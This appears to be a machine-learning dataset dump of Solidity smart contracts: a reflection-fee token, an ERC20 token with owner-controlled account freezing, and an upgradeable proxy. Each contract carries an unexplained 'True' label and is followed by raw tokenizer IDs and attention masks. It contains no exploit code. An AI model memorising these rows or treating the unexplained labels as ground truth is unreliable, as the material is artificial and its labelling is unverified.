function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2654,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1013,
1008,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
13109,
23212,
13149,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.21;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenBase {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 _value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenBase(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract SmartIndustrialToken is owned, TokenBase {
// Public variables of the token
string public tokenName = "Smart Industrial Token";
string public tokenSymbol = "SIT";
uint256 public initialSupply = 600000000;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address indexed target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function SmartIndustrialToken(
) TokenBase(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
3206,
3079,
1063,
4769,
2270,
3954,
1025,
3853,
3079,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
6327,
1025,
1065,
3206,
19204,
15058,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
1013,
1013,
2023,
9005,
2019,
9140,
2007,
2035,
5703,
2015,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
1013,
1013,
2023,
19421,
1037,
2270,
2724,
2006,
1996,
3796,
24925,
2078,
2008,
2097,
2025,
8757,
7846,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
1013,
1013,
2023,
2025,
14144,
7846,
2055,
1996,
3815,
11060,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
1013,
1008,
1008,
1008,
9530,
3367,
11890,
4263,
3853,
1008,
1008,
3988,
10057,
3206,
2007,
3988,
4425,
19204,
2015,
2000,
1996,
8543,
1997,
1996,
3206,
1008,
1013,
3853,
19204,
15058,
1006,
21318,
3372,
17788,
2575,
20381,
6279,
22086,
1010,
5164,
19204,
18442,
1010,
5164,
19204,
6508,
13344,
2140,
1007,
2270,
1063,
21948,
6279,
22086,
1027,
20381,
6279,
22086,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
1013,
1013,
10651,
2561,
4425,
2007,
1996,
26066,
3815,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1013,
1013,
2507,
1996,
8543,
2035,
3988,
19204,
2015,
2171,
1027,
19204,
18442,
1025,
1013,
1013,
2275,
1996,
2171,
2005,
4653,
5682,
6454,
1027,
19204,
6508,
13344,
2140,
1025,
1013,
1013,
2275,
1996,
6454,
2005,
4653,
5682,
1065,
1013,
1008,
1008,
1008,
4722,
4651,
1010,
2069,
2064,
2022,
2170,
2011,
2023,
3206,
1008,
1013,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
1013,
1013,
4652,
4651,
2000,
1014,
2595,
2692,
4769,
1012,
2224,
6402,
1006,
1007,
2612,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1013,
1013,
4638,
2065,
1996,
4604,
2121,
2038,
2438,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
1013,
1013,
4638,
2005,
2058,
12314,
2015,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
5703,
11253,
1031,
1035,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: UNLICENSED
// This code is taken from https://github.com/OpenZeppelin/openzeppelin-labs
// with minor modifications.
pragma solidity ^0.7.0;
// This code is taken from https://github.com/OpenZeppelin/openzeppelin-labs
// with minor modifications.
// This code is taken from https://github.com/OpenZeppelin/openzeppelin-labs
// with minor modifications.
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
abstract contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return impl address of the implementation to which it will be delegated
*/
function implementation() public view virtual returns (address impl);
receive() payable external {
_fallback();
}
fallback() payable external {
_fallback();
}
function _fallback() private {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant implementationPosition = keccak256("org.zeppelinos.proxy.implementation");
/**
* @dev Constructor function
*/
constructor() {}
/**
* @dev Tells the address of the current implementation
* @return impl address of the current implementation
*/
function implementation() public view override returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param newImplementation address representing the new implementation to be set
*/
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation);
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
/**
* @title OwnedUpgradabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant proxyOwnerPosition = keccak256("org.zeppelinos.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor() {
setUpgradabilityOwner(msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return owner the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
/**
* @dev Sets the address of the owner
*/
function setUpgradabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradabilityOwner(newOwner);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy and call the new implementation
* to initialize whatever is needed through a low level call.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(address implementation, bytes memory data) payable public onlyProxyOwner {
upgradeTo(implementation);
(bool success, ) = address(this).call{value: msg.value}(data);
require(success);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1013,
1013,
2023,
3642,
2003,
2579,
2013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
13625,
1013,
1013,
2007,
3576,
12719,
1012,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1014,
1025,
1013,
1013,
2023,
3642,
2003,
2579,
2013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
13625,
1013,
1013,
2007,
3576,
12719,
1012,
1013,
1013,
2023,
3642,
2003,
2579,
2013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
13625,
1013,
1013,
2007,
3576,
12719,
1012,
1013,
1008,
1008,
1008,
1030,
2516,
24540,
1008,
1030,
16475,
3957,
1996,
6061,
2000,
11849,
2151,
2655,
2000,
1037,
3097,
7375,
1012,
1008,
1013,
10061,
3206,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4136,
1996,
4769,
1997,
1996,
7375,
2073,
2296,
2655,
2097,
2022,
11849,
2094,
1012,
1008,
1030,
2709,
17727,
2140,
4769,
1997,
1996,
7375,
2000,
2029,
2009,
2097,
2022,
11849,
2094,
1008,
1013,
3853,
7375,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
17727,
2140,
1007,
1025,
4374,
1006,
1007,
3477,
3085,
6327,
1063,
1035,
2991,
5963,
1006,
1007,
1025,
1065,
2991,
5963,
1006,
1007,
3477,
3085,
6327,
1063,
1035,
2991,
5963,
1006,
1007,
1025,
1065,
3853,
1035,
2991,
5963,
1006,
1007,
2797,
1063,
4769,
1035,
17727,
2140,
1027,
7375,
1006,
1007,
1025,
5478,
1006,
1035,
17727,
2140,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
3320,
1063,
2292,
13866,
2099,
1024,
1027,
19875,
10441,
2094,
1006,
1014,
2595,
12740,
1007,
2655,
2850,
2696,
3597,
7685,
1006,
13866,
2099,
1010,
1014,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1007,
2292,
2765,
1024,
1027,
11849,
9289,
2140,
1006,
3806,
1006,
1007,
1010,
1035,
17727,
2140,
1010,
13866,
2099,
1010,
2655,
2850,
10230,
4697,
1006,
1007,
1010,
1014,
1010,
1014,
1007,
2292,
2946,
1024,
1027,
2709,
2850,
10230,
4697,
1006,
1007,
2709,
2850,
2696,
3597,
7685,
1006,
13866,
2099,
1010,
1014,
1010,
2946,
1007,
6942,
2765,
2553,
1014,
1063,
7065,
8743,
1006,
13866,
2099,
1010,
2946,
1007,
1065,
12398,
1063,
2709,
1006,
13866,
2099,
1010,
2946,
1007,
1065,
1065,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
12200,
8010,
21572,
18037,
1008,
1030,
16475,
2023,
3206,
5836,
1037,
24540,
2073,
1996,
7375,
4769,
2000,
2029,
2009,
2097,
11849,
2064,
2022,
9725,
1008,
1013,
3206,
12200,
8010,
21572,
18037,
2003,
24540,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
2724,
2097,
2022,
22627,
2296,
2051,
1996,
7375,
4152,
9725,
1008,
1030,
11498,
2213,
7375,
5052,
1996,
4769,
1997,
1996,
9725,
7375,
1008,
1013,
2724,
9725,
1006,
4769,
25331,
7375,
1007,
1025,
1013,
1013,
5527,
2597,
1997,
1996,
4769,
1997,
1996,
2783,
7375,
27507,
16703,
2797,
5377,
7375,
26994,
1027,
17710,
16665,
2243,
17788,
2575,
1006,
